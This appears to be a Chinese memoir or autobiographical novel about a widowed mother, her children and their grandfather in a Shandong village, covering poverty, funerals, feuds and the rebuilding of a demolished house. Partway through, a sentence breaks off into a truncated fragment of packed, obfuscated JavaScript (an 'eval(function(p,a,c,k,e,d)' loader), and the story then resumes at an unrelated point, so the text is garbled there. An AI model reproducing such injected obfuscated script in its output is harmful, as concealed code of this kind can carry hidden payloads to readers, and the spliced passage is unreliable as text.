我说:“听小二说,那个男人可有本事了。他把艳红大姐的兄弟千里弄到邮局里头,专门管分信。千里没有文化,分个信连地址都不认得。他姐夫又把他弄到别的地方。” 我妈妈说:“幸好那时候,我先把钱要回来了。要是放到现在,再去跟千里的爸爸打官司,他有人护着,咱家就怕打不赢这场官司了。恁爸爸的抚恤金,能不能要回来,可就难说喽。” 八月十五的时候,我妈妈买了几盒月饼。她拿出来一盒,让我们三个分着吃。我妈妈让我弟弟去分。我弟弟把那包月饼拿过来,把渗着油的月饼盒子打开。一个盒子里头有八块月饼,包着白白的酥皮,顶着好看的红红的印章。我弟弟给我和我妹妹拿了两块,他自己也拿了两块。 我弟弟拿了一块月饼给我妈妈吃。我妈妈正倚着西门框做针线。 我弟弟把月饼递到她嘴边:“妈,你吃!” “我不吃了,好孩子。恁姊妹几个分着吃了吧。”我妈妈说。 我弟弟把月饼拿回来,搁在桌子上,拿刀切开,分成三份儿。他把那两堆儿多的给我和妹妹,他自己留了一小份儿。 “恁姊妹几个,都是这样。吃东西相让着吃。让谁分,谁就自己拿少的。给旁人多的。”我妈妈夸奖我们说。 月饼都是省着吃,几盒月饼过了八月十五还是没有吃完。 “最后一盒月饼,留给恁小妹吃吧。她最小。”我妈妈说。我和弟弟都没有意见。我妈妈就把那盒月饼,放在我家东窗户下头的一个袋子里。扒开袋子就能拿到。 一天,我妈妈拿出来一块月饼给我妹妹吃。 “哟,这盒月饼长毛了嘛,都有些蠹碎了。”我妈妈说。我看了看,那块月饼的馅子有些发霉了,透出一股子霉味儿。掰开来,中间的内瓤已经有些丝丝拉拉的了。 “生虫了,妈妈,你吃了吧!”我跟我妈妈说。 我妈妈还是舍不得吃:“我不吃,留给笑笑吃吧!”我妈妈说。 一天,我放学回家,我妈妈说:“你说笑笑怎么这样的呢?我不是把月饼留给她吃的吗?人家鸽鸽来找她玩,她就自己去拿了月饼给人家吃了呢。‘呐!俺家也没有什么好吃的,给你吃块月饼吧!’你说她怎么恁么舍得的?” 我也说:“是的啊。她不能给人家旁的吃吗?” 我妈妈转过头儿,又去问我妹妹:“笑笑啊,你怎么把妈妈留给你的月饼给人家吃了的?妈妈都没舍得吃?” 我妹妹不吭声儿。 我妈妈说:“你看这小丫头,对人就是实诚。人家鸽鸽家没有月饼啊,人家怎么不拿月饼给你吃的啊?” 我说:“俺小妹可能为了面子,她觉得人家来找她玩儿,她没什么给人家吃,觉得对不住人家。” 我妈妈说:“小孩儿,讲什么面子。人家都比咱家阔,人家不是吃不起。咱家就这一块月饼,你怎么就拿给人家吃了的?你也是小孩儿啊,你不能留给自己吃吗?” 秋天,我妈妈要去干里捞花生了。她蒸了一大盆窝窝头,自己带着。 她跟我说:“我跟恁二姨去干里捞长果去。恁在家里好好地跟着恁爷爷。” 我问她:“你什么时候回来啊?妈妈。” “我过半个多月回来。”我妈妈说。 “你怎么去恁么长时间的?”我不满地问。 “我不能到了就走哎。我得捞到长果再回来哎。要不不是白去了。”我妈妈说。 “那你住在哪?”我问。 “住在干里恁大爷大娘家里。”我妈妈说。 “干里离这有多远啊?”我问她。 “有五十里。”她说。 “你走着去啊!”我问。 “走着去!”她说。 我舍不得我妈妈走,难过地一直哭。 下午,我妈妈背着被子和干粮走了。我想着我妈妈,是怎么辛苦地奔波的。我用粉笔在我家堂屋门上,写下了几个字:妈妈去干里,平安顺利,我想我的妈妈。 半个月以后,我妈妈背着半袋子花生回来了。我们赶紧跑回家去,围着我妈妈。 “妈妈,天冷了,恁夜里怎么住的,恁冷吧?”我问她。 “俺几个人住在恁大娘的屋檐底下。夜里冷。睡着了就不知道了。到底是自己的亲姐,恁二姨,半夜里起来,还给我掖掖盖盖。”我妈妈说。 “二姨比你大,她是恁二姐,就应该关心你嘛。”我说。 “恁二姨也可怜。俺几个捞着花生。我看到她来月经了,跟她说,‘二姐,你裤子脏了。’恁二姨就喇叭着腿走了。唉!下辈子千万别当女的!女的可怜!”我妈妈说。 2.立春的爹,扇了我爷爷的脸 宗雨家正东,隔着宽敞的大街,是王家四兄妹。 王老大跟我爸爸年纪差不多,通过换亲得了一个老婆,生了个闺女,叫霞霞。霞霞家住在庄西头,没有院门。有一回,我看见一只母鸡走到她家柴禾垛里下蛋,就跟了过去,趴在地上看看,看柴禾垛里深邃的鸡窝里有没有鸡蛋。 王老二不知道什么原因,病病殃殃,黄干黑瘦,说话有气无力,没有婚娶。王三姐待字闺中,留着给王四换亲。老王爷爷死地早,老王奶奶得了糖尿病去世了。老人家的去世不足为奇,上了年纪的老嫲嫲听说了,只说一句:“脱了苦去了!” 老王奶奶的葬礼还算风光。路祭的时候,王四的几个仁兄弟,戴着孝帽子,红着眼睛,陪着王四跪着。北荆堂年轻的大队书记立春,也泪水涟涟地跪着。除立春之外的好几个年轻人也是光棍,也是我三叔的仁兄弟。 立春人长得瘦高、白净,家境也好,是北荆堂的大队书记。立春还没结婚的时候,有年轻的姑娘喜欢他,常常约他晚上去庄东头的树林子里相见。据说,有一回,他正在跟几个小伙子一起看着电影,看着看着,他就溜走了。半天才回来。几个小伙子跟他起哄,把他架起来,摸摸他的□□,湿湿的。他被几个小伙子架着,逃不了,只是笑。听说,南荆堂就有一个大姑娘跟他有来往,后来,那个大姑娘出嫁到别的庄上了。立春也新娶了媳妇,大婶子个子高挑,白白净净。两个人经常一前一后到家,一个躲在墙角里,吓唬另一个,另一个受了惊吓,拿着树枝就要去打,两个人打打闹闹、说说笑笑,好不恩爱。 仁兄弟在后面陪跪,陪哭。王四,作为孝子,在棺材前哭地悲伤。围观的群众也可怜王四老实本分,心里酸的很。立春簌簌地掉着眼泪。立春虽然是大队书记,但是没怎么听说他跟谁发过虎威。王四叔叔平时为人忠厚、客气,家境又贫穷,立春肯跟他做仁兄弟。仁兄弟的母亲去世了,立春又像孝子一样老老实实跪着哭丧。这一次,我对“仁兄弟”这个词,对立春,都有了几分敬意。 秋风起了,秋雨也跟着滴滴答答。我们从后院我们家,来到前院爷爷家。一场秋雨过后,水缸边儿的串串红,挂着雨珠,还是开地耀眼。傲霜的秋菊,虽然绽放完毕,但在秋雨中,已然是冷冷清清、惨惨戚戚。爷爷戴着老花镜,端着簸箕,坐在天井里,低头巴拉着簸箕里的粮食。我们越发地百无聊赖了。 可善老老爷爷来找我爷爷剃头了。 可善老老爷爷放着一群羊,他自己也留着一把老山羊毛似的白胡子。他一个人,跟一群羊,一起住在北荆堂庄东头,没有老嫲嫲料理,身上衣裳油亮亮的,有些老山羊的味道。可善老爷爷一家打板栗的时候,我也曾逡巡在他家栗树底下,绕树三匝,不肯离去。老老爷爷就捡几个栗子给我,跟我说:“小妭(娃),你走吧。” 我爷爷拿出他那套剃头的家伙什儿。我爷爷的剃头刀子,跟他的农具一样精致。小巧的木头把手儿,有些厚度的梯形的刀片儿。还有一块手帕大小的专门儿磨刀的油布。老爷爷围着一块布坐在天井里,我爷爷温水伺候着,给他又是洗,又是剃,又是刮,活像是一个专业的剃头匠子。 “大叔,你这个头不好剃。头发发硬,剃地费劲儿。”我爷爷说。 “是的,我多少天也不洗了。给草稞子似的。”老老爷爷说。 老头子剃完头,总是要一起坐着抽几袋烟,说上一通话,一起朝门外吐几口痰。爷爷一口痰吐出去,可善老老爷爷,估量着他刚才吐痰的射程,颇有经验地说:“你这个寿限长啊!你最起码还能活三十年啊。” 我爷爷说:“寿限长有什么用啊,活地窝窝囊囊的。” 老老爷爷说:“你这是话里有话啊。怎么回事儿啊?” 我爷爷说:“大叔你说,我给你剃头,我自己的头,没人儿给我剃,我得找人剃吧?我去北荆堂找人给我剃头。立春的爹看到了,上来就扇了我一巴掌。嘴里还骂着,‘你真是不通人性啊!恁儿刚死,你就剃头!’” 老老爷爷说:“他凭什么打你的?恁儿死了,你是当爹的,你剃不剃头,有什么说头儿啊?” 我爷爷说:“他凭什么,凭咱家里没人儿,打不过他。你看看姓李的门里有好人吗?都是‘土狗蛇’。” 老老爷爷说:“他这是看你手面子着地了,欺负人。你自己要往开里想,别搁心上。老天饿不死瞎鹰。他不敢把你怎么样。做事不凭良心,他会有报应的。” 我爷爷说:“大爷爷,人都说善有善报,恶有恶报。可是报应搁哪儿啊?那些欺负人的人活得比咱都好。” 老老爷爷说:“哼!你别忙哎!你看到是的。你把你自己抚养好,看着三个小孩儿好好过。三个小孩儿就是你的火亮儿。等小孩儿长大了就好了,都能孝顺你。” 可是终究无人替我爷爷说理,他背起粪箕子满地里走,自己寻思寻思各种滋味,或是跟别个老头子一起点上一袋烟,“吧嗒、吧嗒”地吸吸烟,发发牢骚,再没有别的办法。 他的大儿子,我的爸爸,死了。我爸爸对他还算孝顺。我很小的时候,一个冬天,奶奶在烧饭,爷爷穿着大棉衣,戴着大棉帽,靠着西边门框坐着,手里攥着鞭炮,点燃了,扔出去,逗我玩。忽然,一个鞭炮没来得及扔出去,在爷爷手里炸了。爷爷大概被炸地头晕,双手捂着脸,不能动弹。“赶紧去喊恁爸爸去!”奶奶不耐烦地黑着脸喊我。我跑到我家,把我爸爸喊来。我爸爸把我爷爷扶到了屋里。我奶奶很不屑,说他是装的。他那时候还可以装,还有他的大儿子在身边照应呢。 爷爷的身边只有我们几个无父的小儿孙,没有可以顶门立户的亲人。爷爷因为剃个头就被人扇了巴掌的事,没有人为他做主。 后来,南家前金山大爷爷家的五叔从他上班的地方回来了。爷爷跟他说起了这件事。 “说起来孱头人!”爷爷苦凄凄惨惨地说。 “没事的,大爷!我去问问他,怎么回事!只要有我在,南北荆堂翻不了船!”五叔据说是接了大爷爷的班,在外地上班,平时不在庄里。他年纪轻轻的,相貌俊朗,听说他是大奶奶跟她的二儿媳妇同年生下的。二大娘生儿子,大奶奶也生儿子,婆媳两个同时坐月子。大奶奶生的小五叔,二大娘生的大华哥。 这几年,宋家门儿里叔伯辈儿的人多有折损。 我爸爸去世以后,没几年,我二叔也去世了,听说是因为肝病。二叔去世了,死在了东北,撇下了二婶子和小妹妹娘儿两个人。东北到山东太远了。我爸爸去世,我二叔他们没有来。我二叔死的时候,我们这边儿,也是没有人去。说起来,我二叔是一个人死在东北。幸好,那里有他的老婆孩子,那才是他最亲的人。 我爷爷家里的相框上,还挂着二叔跟二婶子的照片。二叔穿着蓝色的春秋衫,两条袖子上还镶着白边儿。在金色的阳光里,他还是一如既往地挺拔、俊朗。甜美白净富态的二婶子烫着一头短发,穿着一身白色的西装,站在夕阳下的榛子林里,笑嘻嘻地。 相框里,还有一张二叔家的小妹妹的照片,小妹妹跟我妹妹差不多大,戴着一顶小帽子,穿地粉粉的,坐在自行车的儿童车架上。二叔推着自行车,怀里偎着他可爱的女儿。二叔只身在东北闯荡,如今有了家口,这是多不容易啊。那时候,他们一家三口,他们父女两个,笑得多甜啊! 二婶子跟我妈妈一样,也做了寡妇。小妹妹也跟我们一样,成了没有爹的人。这以后,二婶子跟她的小女儿娘儿两个是怎么过的,我们不得而知。我们彼此都顾不上彼此。但愿二婶子跟大妹妹过地幸福吧。 幸福的日子万年长!幸福的日子万年长啊! 后来,家业大大爷死了,他才六十来岁儿。他先是拄着拐杖,行动不便,后来说死就死了。后来,家山二大爷推着洋车子去上班的时候,一头栽在地上,也死了。说是突发脑溢血。 家山二大爷去世的时候,我妈妈让我自己去他家哭丧,我让她带我去,她说她去过了,让我自己去。我只好自己去。我进了他家大门儿,帮忙的叔叔大爷们戴着孝,都在忙着。我一个人走到屋门儿口儿,看见二大爷直挺挺地头朝南躺在灵床子上。 曾经光着屁股跟他打架的二大娘哭着:“我的人儿呀!” 小五叔叔也靠在堂屋东墙的椅子上坐着,苦干了眼泪,还在干嚎着:“我始终觉得你是我的亲哥啊!” 我哭不出来,没有眼泪,只好硬着头皮,对着门口儿的垫子跪下去,干嚎着:“二大爷!二大爷!”我跪在那里干嚎着,自己又不好意思起来。正在满脑子发懵,不知道如何是好。 这时候,走过来一个叔叔,一把把我扶起来:“起来吧,省儿!”我赶紧就势起来。二大爷家天井里,坐着二大爷的大姐,她哭地几乎要不省人事,人家怕她伤心过度,劝她去外头坐坐儿,可她还是挣扎着要进来再看看她娘家的兄弟:“让我再看看他!” 男人们抬起二大爷要去火化了。他的姐姐心疼地去追、去拦。好几个男人女人拉着她。她被阻在大门里,行动不了,眼睁睁地看着人家把她的弟弟给抬走了。那个可怜的姐姐气得疼地蹲在地上“呱唧呱唧”直跺脚。 我小时候,见我妈妈她们那些妇女去人家家里哭丧非常容易,她们一哭就哭出了眼泪,可是我那时就是不会。即使是宋家门儿的大爷死了,我也不会。那时候,我觉得我会一直这样,永远不会。可是,到了今天,等我吃了许多的苦,受了许多的罪,再想想宋家门儿去世的那几个大爷,我的眼睛居然会湿润。人在外头吃了苦,才会更加思念乡土,人只有体会了外头的冷漠,才更知道亲香自己的叔叔大爷。人在外头吃了太多的苦,仍是没有时间去哭。一旦给她一点因由,她就可以鼻子一酸,扑簌簌掉下很多泪水泪珠。 哭二大爷的那时那刻,如果换作是现在的我,我一定会滚滚地落下泪来:“俺二大爷啊!二大爷!” 南家前本是五子登科的大奶奶,五个儿去了两个。剩下的三叔、四叔,五叔他们开始商量着迁坟。家山二大娘,自二大爷去世以后,就跟二哥经常回她娘家,她娘家爹年纪大了,要去服侍。 大华大哥这边,自打离婚以后,穷困潦倒,吃喝没人问津。他常常光着膀子,腰上挂着一把大刀,带着磊磊,就在大街上瞎逛悠。磊磊白白的小脸蛋消瘦了不少,也不像以前干净了,小小的孩儿脸上竟然有了很多愁容和苦恼。 后来,大华大哥从外面回来了,还带了个女人。立春结婚的时候,他去当司仪,满面春风,风光无限,竟胜过了原先的时候。大哥的女人在人群里目不转睛地看着大哥。她穿着大衣,涂着红红的嘴唇,抹着白白的脂粉,打扮的很洋气。她既不大笑,也不喊闹,是个不一般的女人。 我爷爷说:“恁大华大哥回来了,给姓宋的每家都发了月饼和酒。” 我说:“大华大哥现在干什么啊?” 我爷爷说:“听说他在一座山上当了道士。还收了徒弟。混地怪好的。” 我爷爷看着他茶几上方那个木牌子说:“大华还来咱家一趟来。” 我说:“他来干嘛的?” 我爷爷说:“他问我要那个麒麟牌子。” 我爷爷家那个枣红色的木牌子,有相框大小,是往年发大水的时候,从水里头打捞上来的,上面雕刻着麒麟和祥云,挂在条几上方,看着有些年岁了。 我说:“大华大哥要这个牌子干嘛啊?” “我哪知道?他打躬作揖的,说他要拿去做法。”我爷爷说。 “你给他干嘛,别给他。你还没给俺弟弟呢。”我没好气地说。 3.爷爷的三间屋被“冲大街”了,二姑夫前来“骂阵” 庄上要冲大街了。南北荆堂,就我爷爷家的三间茅草屋碍事。艳飞大姐家门前是一条南北大街,那是北荆堂的大街。那条大街,正对着我爷爷家屋后头。据说,那条大街正北,是北荆堂的垄沟。从风水上来说,确实是不好的。可能正是因为这样,我爷爷的屋后头,放着一块石头,上头是我爷爷自己刻的几个字:“泰山石敢当”。大队书记战海去跟我爷爷说,让我爷爷搬家,临时搬到庄西头儿别人的家里。那个临时的家还算宽敞干净。 住在庄西头的时候,我七八岁的弟弟学会了用笼子捕鱼。他经常抄着一个小鱼网,到会宝岭水库去。宗和二爷爷姓刘,经常背着大笼子去西岭上抓鹌鹑,有时候,也带着笼子去水库里抓鱼。他大概六十来岁儿,像语文书上画的杜甫一样,总是沉着脸,皱着眉头,眼睛看向天际,不怎么说话。我弟弟因为爱好逮鱼,居然跟宗和二爷爷熟络了。 宗和二爷爷还给我弟弟一个小笼子,让他自己抓鱼。 宗和爷爷不怎么说话,他几乎不像人家那样在庄里跟人家拉呱。我看见宗和的时候大多是傍晚,他赶着一群羊,浩浩荡荡地从西岭上下来了。他的羊经过庄里,撒下一串串的羊屎蛋子。 有一天,我跟爷爷在西岭上剜地,宗和赶着他的羊群向着人家的地里奔赴过去了。 “宗和这是赶着羊去给人家壮地的。有的人家,就是要放羊的赶着羊,在他家地里拉羊屎蛋子,给他家壮地种庄稼。”我爷爷说。 “有一年,在庄东头儿的白菜地里,我跟宗和吵架了。我带着恁二叔、恁三叔把宗和给揍了一顿。宗和去找大队书记告状,‘是他爷仨儿揍的我!’”我爷爷得意地笑着说,“嘿嘿!宗和说,他是俺爷仨儿揍的!” 我爷爷又说:“宗和小时候可皮了。他光着腚搁西岭上玩儿,人家赶大车的赶着驴车从西岭上路过。宗和朝着人家喊,‘谁是我的儿啊?!’赶驴的甩着小鞭儿吆喝驴:‘我好!我好!’宗和哈哈地笑。赶驴的甩起小鞭儿照他光腚上,‘啪啪’两下,把宗和打地光着腚冒跑。” 如今,宗和不计前嫌,对曾经打他的宋金平的孙子还加以指点和帮助,这是不是一种大度。时光荏苒,他们都已经老了。我的爸爸已经早早地死去。面前这个稚子是宗和仇家的遗孤。小小的男孩子拿着鱼笼也要跟着宗和学垂钓,是因为贫穷寂寞,也是为着肚里空空没有着落,想去水里讨一口吃喝。无论是宗和,还是我六七岁的弟弟,这老老小小,他们都是穷人,他们都很不容易。宗和不可能忘记曾经的那场倚强凌弱的混战,我弟弟是压根儿不知道他祖父辈的恩怨。是宗和接纳了我弟弟,接纳了他一个遗孤的身世和他稚嫩的童年,也是宗和原谅了我爷爷,原谅了这个已经失去了大儿子、二儿子,妻离子散的老人。 宗和不爱说话,他只埋头干活儿。我猜想,宗和即使给我弟弟鱼笼子,他跟我弟弟也是不怎么说话的。他只知道默默地干活儿。小时候,我对宗和没什么特殊的印象。多年以后,等我吃尽了生活的苦头,我对宗和的沉默和坚定才有了新的了解。 他的脸上,是对逃脱不了的贫苦山村生活的看透与无奈,是咬紧牙关好好过下去的坚定与执着。 爷爷得空儿也经常背着粪箕子去水库转悠。看到飘上来的鱼,就捞上来带回家,放上葱姜、大茴,炖一锅,揭开锅盖儿,一锅鱼肉,散散的,红红的,碎碎的,吃起来没滋没味儿的。 这年冬天,我大概上四年级了,成绩还不错。每天晚饭后,爷爷睡觉了。我一个人在灯下写作业。我写写作业,抬头看看北面墙上的观音年画。她素衣飘飘,玉指纤纤。脖颈上戴着华美而庄严的珠玉,眉眼俊美,怀抱里抱着两个可爱的娃娃。我喜欢观音。相信观音大士会给人间带来福泽。 那段时间,大源爱来喊我一起去上学。爷爷看时辰还早,就抱来一捆子麦草,放在堂屋里,给我们烤火。我们烤地暖烘烘的,大源心满意足地拍拍他被烤地发烫的棉裤膝盖,我们就一起去上学。 放学以后,我和大源一起去家东止水将那里爬坡。家东高高的土坡上,覆盖着拉拉秧,茅根草。秃出来的坡上还有一个一个被火烧过的小黑洞。很多调皮的孩子直接从高高的黄土坡上滑下来,跳下去。大源也去爬坡,他的后背上的小衣裳秃噜上去,要遮不住他的小身躯了。他就自己动手拉一下衣裳,盖住自己的后背。有调皮的小孩说,大源腚后头有一个尾巴被割掉了。我疑心他到底有没有,但是从来没有亲见过。大源那时候六七岁,长得白白净净的,瘦长脸。说话不折不扣,一是一、二是二。他没有坏心眼,也没有歪心思,就是有些犟。大源的长相跟端午有些像。 一个中午,我去大源家,等他吃饭上学。他吃完了,他爸爸妈妈还在吃饭。他们吃的酱油炒海带,海带丝长长的,红红黑黑,油拉拉的。他们两个人吃着圆圆的黄黄的大烧饼,吃地心满意足。 大婶子吃着,还跟我客气了一下:“大省,你吃吧?” “我不吃。”我说。 我等到大源,就一起上学去了。 大源家的海带丝我记了一辈子。那是我这辈子没有吃过的最好吃的海带丝。对,人家就的还是大烧饼。那味道简直是美极了!棒极了! 那个冬天,战海大叔心血来潮,他看我爷爷跟二姑家不来往,就出面调停,希望两家看在他的面子上,能够和好。二姑看在大叔的面子上,勉强请老父亲去她家一聚。爷爷也被大叔说动了心,他到竹来的小店里买了两包黄色的糖果,羞答答地要去二姑家“认亲”了。那两包糖果鼓鼓囊囊地装在他的蓝色大棉袄的挎包里,他好生捂着他的挎包,舍不得给我们吃。 据说,我爷爷到了二姑家里。二姑也叫了几声爹,大姐、二姐也叫了“姥爷”。爷爷脸上也现出来父亲、姥爷的庄重的颜色。 到了年关,二姑也给爷爷送了跟大姑一样的年货:煎饼、馒头,猪肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我妈妈、我弟弟正在帮我爷爷盖屋,地上是乱乱的一堆石头。我妈妈看见小学生路过,就停下来,笑嘻嘻地站着看。我在队伍里看到了我妈妈,可是不敢跟她说话。那天,我妈妈穿着一件人家给的绿色的褂子,扎着两条小辫子,面皮白白的,笑眯眯地看着我,看着我们这些祖国的花朵。她那时候还年轻,我妈妈那天很慈祥很好看。 我们游行的队伍到了白山,也就是牛老师庄上。白山庄屁股就坐在白山上,庄里脚踩拦绊的都是石头。我们坐在庄外的石头上歇息。有的同学就去庄外人家的家门前转悠。一家家的青石墙壁,墙壁外是一丛丛的葡萄藤,一粒粒的葡萄青青的,酸酸的。 有一天,我们在一个教室里看电影《圆明园》。我爷爷突然来了,他把我喊出来,问我要钥匙:“我打发恁弟弟来跟你要钥匙,恁弟弟半路上掉进北荆堂的水池子里头,把头给磕破了。”北荆堂的蓄水池一直是干的,我弟弟掉进去,肯定是摔坏了。 我把钥匙给我爷爷,我爷爷回家去了。我弟弟摔破了头,我却不知道我该怎么办。我是回家呢,还是在学校看电影呢。我居然决定留在学校看电影。那时候,我还愚蠢地认为集体活动意义非凡,我不看《圆明园》会给我的人生留下巨大的遗憾。 等我放学回到爷爷家,看到了我弟弟,他的头上包着一层白布,不闹也不哭。 我妈妈见了我,说:“鸿雁去找你要钥匙,掉进北荆堂的水池子里头了。” 我说:“他怎么不好好走路的?他是怎么掉下去的?” 我妈妈说:“恁弟弟说,他在水池子边上走着玩儿,一不注意掉下去了。幸好北荆堂的恁一个大娘挑着挑子路过,听到小孩儿喊‘救命’,才把恁弟弟给救上来的。恁大娘还夸鸿雁聪明,人家把他救上来,他还知道问问人家是谁。小孩儿,也说不清。别是咱得罪了人,人家故意想害恁弟弟的吧。” 这以后,我妈妈每天给我弟弟煮上一个鸡蛋:“恁弟弟淌了不少血,要给他补补营养。恁爷爷到底不行,恁弟弟摔破了头,他也舍不得给他冲个鸡蛋茶喝喝。我看他没人儿帮忙,我去给他帮忙,晌午我自己回来烧点盐茶,泡点煎饼吃。我寻思着恁姊妹仨跟着他吃,我就不搁他家吃了,给他省点粮食。我从他家出来的时候,恁爷爷瞌醒着脸,理都不理。” 我爷爷家盖屋,没有人帮忙。我二爷爷家的二叔秋生,推着小推车来,忙前忙后,搬石头,磊墙,样样都干。二叔帮着爷爷干活儿的时候,我爷爷的脸本着,不吭声儿,对二叔也不热情,倒像是二叔欠了爷爷的。 我回到家,跟我妈妈说:“妈妈,俺秋生二叔好心好意地给俺爷爷帮忙,俺爷爷怎么还不理人家的?” 我妈妈说:“这几年,恁爷爷觉得他年纪大了,想把地租出去。吕二跟恁二爷爷两家都有意。恁二爷爷一家碍于不搭腔,不好开口。恁秋生二叔就想着,恁爷爷能看在他帮着他盖屋出力的份儿上,能把南大地的那块地,租给他家,他家好把恁爷爷的地跟他自己家的地,合起来,种大棚。恁爷爷不喜恁二爷爷一家,不想租给他家呗。” 我说:“我觉得俺爷爷应该租给俺二爷爷一家。旁人不说,就是俺二叔,人家还能来帮着俺爷爷干点活儿。是个帮手,多好啊。” 我妈妈说:“就是的。谁知道恁爷爷怎么想的。吕二跟恁二爷爷一家还有仇。” 我说:“有什么仇啊?” 我妈妈说:“恁二裙姑之前经吕二介绍,说给了他在萝村的小舅子。八月十五,吕二的小舅子挑着一挑子东西来送节礼。那时候,他们还没结婚,恁二爷爷办好了好酒好菜招待,找了一群叔叔大爷妻侄小舅子来陪大客。开席了,人家让吕二的小舅子坐上席,那货就真个儿大大方方地坐到了大席上了。你说,这不是七叶子(傻子)吗?头一回到丈母爷家送节礼,一桌子的叔叔大爷妻侄小舅子,哪个头脑正常的男人敢坐上席啊。” “人家又劝他喝酒。他高高在上,喝地醉不拉几的。恁二爷爷看不下去,劝他说,‘恁哥,你少喝两盅吧。’哪知道吕二的小舅子说,‘恁凭什么让我少喝的?我自己带来的酒,恁不给我喝!’恁二爷爷一看,这个人是个双料的‘七叶子’了。等到他酒饱饭足以后,恁二爷爷把他带来的点心、酒肉,一块儿拾掇拾掇,都给他挑了回去,把这门亲给断了。” “吕二知道了自然不高兴。有一回,恁二裙姑在家东干活,碰到了吕二。吕二就开始找茬,骂二裙姑,‘不跟人家了,还觉得自己亏啊,你又没跟他睡!’恁二裙姑虽然个子小,但是性子也烈。二裙姑就回嘴说,‘恁家兴(婚前一起睡)这个,俺家不兴。’” “吕二听了恁二裙姑的话,窜过来,骑在恁二裙姑身上,一顿拳打脚踢。把恁二裙姑给打团了。恁二爷爷家的人后来把恁二裙姑拉回来的。可怜!”我妈妈同情地说。 吕二其实长得缩头缩脑,用今天的审美来讲,有点像光头强。可是二裙姑一个大姑娘,哪里是吕二的对手。吕二携私报复,把对二爷爷家的怨恨都打在了二裙姑的身上。 二爷爷家没有身强体壮的男丁,二裙姑没有能为她出头的弟兄,这件事当然不了了之。二裙姑因为不嫁给一个傻子,被人痛打一顿出气,吕二当然也不用赔偿坐牢。 吕二的为人我自此知道了。我很同情二裙姑。当年,我爷爷自然是知道这件事的,他应该很高兴吧。他只知道兄弟阋于墙,二爷爷家的不幸就是他之大幸。或许二爷爷家对我爷爷家的事,也是同样的想法吧。他们不知道的是,强拳之下血泪纷飞的,是弱者的身躯,被人践踏辱骂痛哭呻吟的,是宋家的儿女。 吕二的为人除此之外我了解的不多。但在他狭长又弯曲的鞋拔子似的黑黄色的脸上,在他始终带着笑意的溜溜转的眼睛上,我看到了鬣狗一样的凶残和狡诈。这正像他的儿子,那个比我小几岁的男孩子,那个同样一脸笑容又同样凶淫的男孩子。他当时才只有八九岁,他躺着鼻涕骑在丽娜身上,□□着晃动屁股的样子,我至今还记得。 秋生二叔很老实,种地、干活都很勤快,就是因为个子矮,一直没有媳妇。他在他自己家干活的时候,也是吃苦耐劳的一把好手。经常见他推着装地满满的山芋秧子的小推车,伸着膀子,低着头,撅着腚推车往前走。因为他个子矮小,一大车山芋秧子挡住了他的头。 “只看到满满一车的山芋秧子动,看不到后头推胶车子的。他一家子都这样,长得跟个炮弹似的,一把攥住两头不冒。”爷爷老是这样讽刺二爷爷一家。 我爷爷家的老屋本来是三间,我爷爷家,跟老娄奶奶家,本来隔着一条路。重盖了以后,我爷爷的屋变成了两间,跟老娄奶奶家的屋挨在了一起,中间隔着一道墙。石头是原来的石头,屋梁也是原来的梁头。屋梁上的高粱秸扎成的把子也是现成的旧有的,只屋顶上的麦草,自己准备就行了。我爷爷打理完那些长长的高粱秸把子,又去理麦草,他把麦草理地整整齐齐。等石头磊起来,梁头架起来,麦草铺上屋顶,这个屋也就盖起来了。庄稼人盖屋,真是好打发。石头,高粱秸,麦草,都是土里生土里长,这些,光靠自己动动手就能扒拉出来了。 爷爷的新屋上梁的时候,大队书记战海召集庄里的壮劳力,给爷爷上了梁。战海大叔从大队里出了钱置办饭菜,秋生二叔去买了猪肉、“春不老子”,和大馒头。 上梁那天晚上吃饭,战海大叔也去了。一桌子年轻力壮的小青年在庄西头我们临时的屋里吃饭。 战海大叔站起来给大家敬了酒:“我代表俺大爷,谢谢大家!” “哪要谢!俺姑老爷的事儿,俺本来就该来给帮忙的。”结实笑着说。 那个年月,人们都还很朴实,给人家帮忙干活儿,只管饭,没有钞票补贴。我爷爷的家被拆了,全靠我爷爷自己带着小孙儿重盖,三间屋变成了两间。我爷爷也没有任何补贴。我爷爷也不知道问,有没有补贴。我爷爷家上梁多亏了战海大叔找人帮忙。战海大叔对我爷爷还不错。至少他没打过我爷爷,更没打过我爷爷的脸。 对于我们来说,被拆掉的三间老屋,被压缩成两间,在原址上重新盖起来,虽然有点折腾人,但是,能够又重新盖起来,能够让我们有个窝,我们已经心满意足了。 爷爷的新屋盖好了,我用一整子香烟的红色的包装壳子,缝了香炉似的一个大红灯笼,我爷爷把它高高地挂在梁头上。那是大鸡香烟的包装壳子,上头挺立着一个个老公鸡,红红的,挂在屋里,显得很吉利。 是的,我从小就会做针线。那时候的很多女孩子都会做针线活儿。我会自己缝沙包,自己缝破了的衣裳,自己缝袜子。 我缝好了那个大红灯笼,就脱下袜子来给自己缝袜子。 “缝袜子的时候,疙瘩头儿要打在外头,这样不硌脚。”我妈妈跟我说,“新三年,旧三年,缝缝补补再三年。” 那时候庄里开了一个小学堂,就在我爷爷家左前方,在我三叔跟我奶奶曾经借居的那个院子里。庄里没出嫁的一个大姑娘在里头教小孩读书。战海常在那过来过去。我们有一次,看见战海,也看见她了,好像是战海跟人喝酒吃饭,让她也去,她推说不去,战海非让她去,手还搭上了她的肩膀。 战海这个名字听起来怕人,但是,他对我们这些小孩子还行,没揍过我们,也没骂过我们。我们看见了他,规规矩矩叫一声“大叔!” “哎!”他干脆利落地答应一下,从来没有装作听不见或者看不见。所以,我隐隐觉得,战海叔,其实并不是他们说的那么坏。至少,他对我们一家还好,他没打过我爷爷,也没打过我爸爸妈妈。 我爷爷年轻的时候结过扎,推说他腰疼,不怎么去地里干活儿,主要是在家里带我,地里头的活儿,都是我奶奶、我三叔干地多。我奶奶走了以后,我爷爷没办法,只好一个人种地推车。夏天,爷爷穿着凉鞋、大裤衩子,攥着车把儿撅着腚往前拱。 庄西头儿的吕二说:“老东西,老嫲嫲在的时候不干活,老嫲嫲走了,自己穿着大裤头子往前拱。” 等我爷爷决定自己的地花落谁家的时候,他并没有把地租给秋生二叔,而是租给了从不来帮他干活的吕二。我爷爷盖屋那么缺人手,吕二压根儿就没来帮我爷爷干过活儿。我爷爷偏偏就把地租给了他。 吕二虽然没帮过我爷爷,但他很会说话。 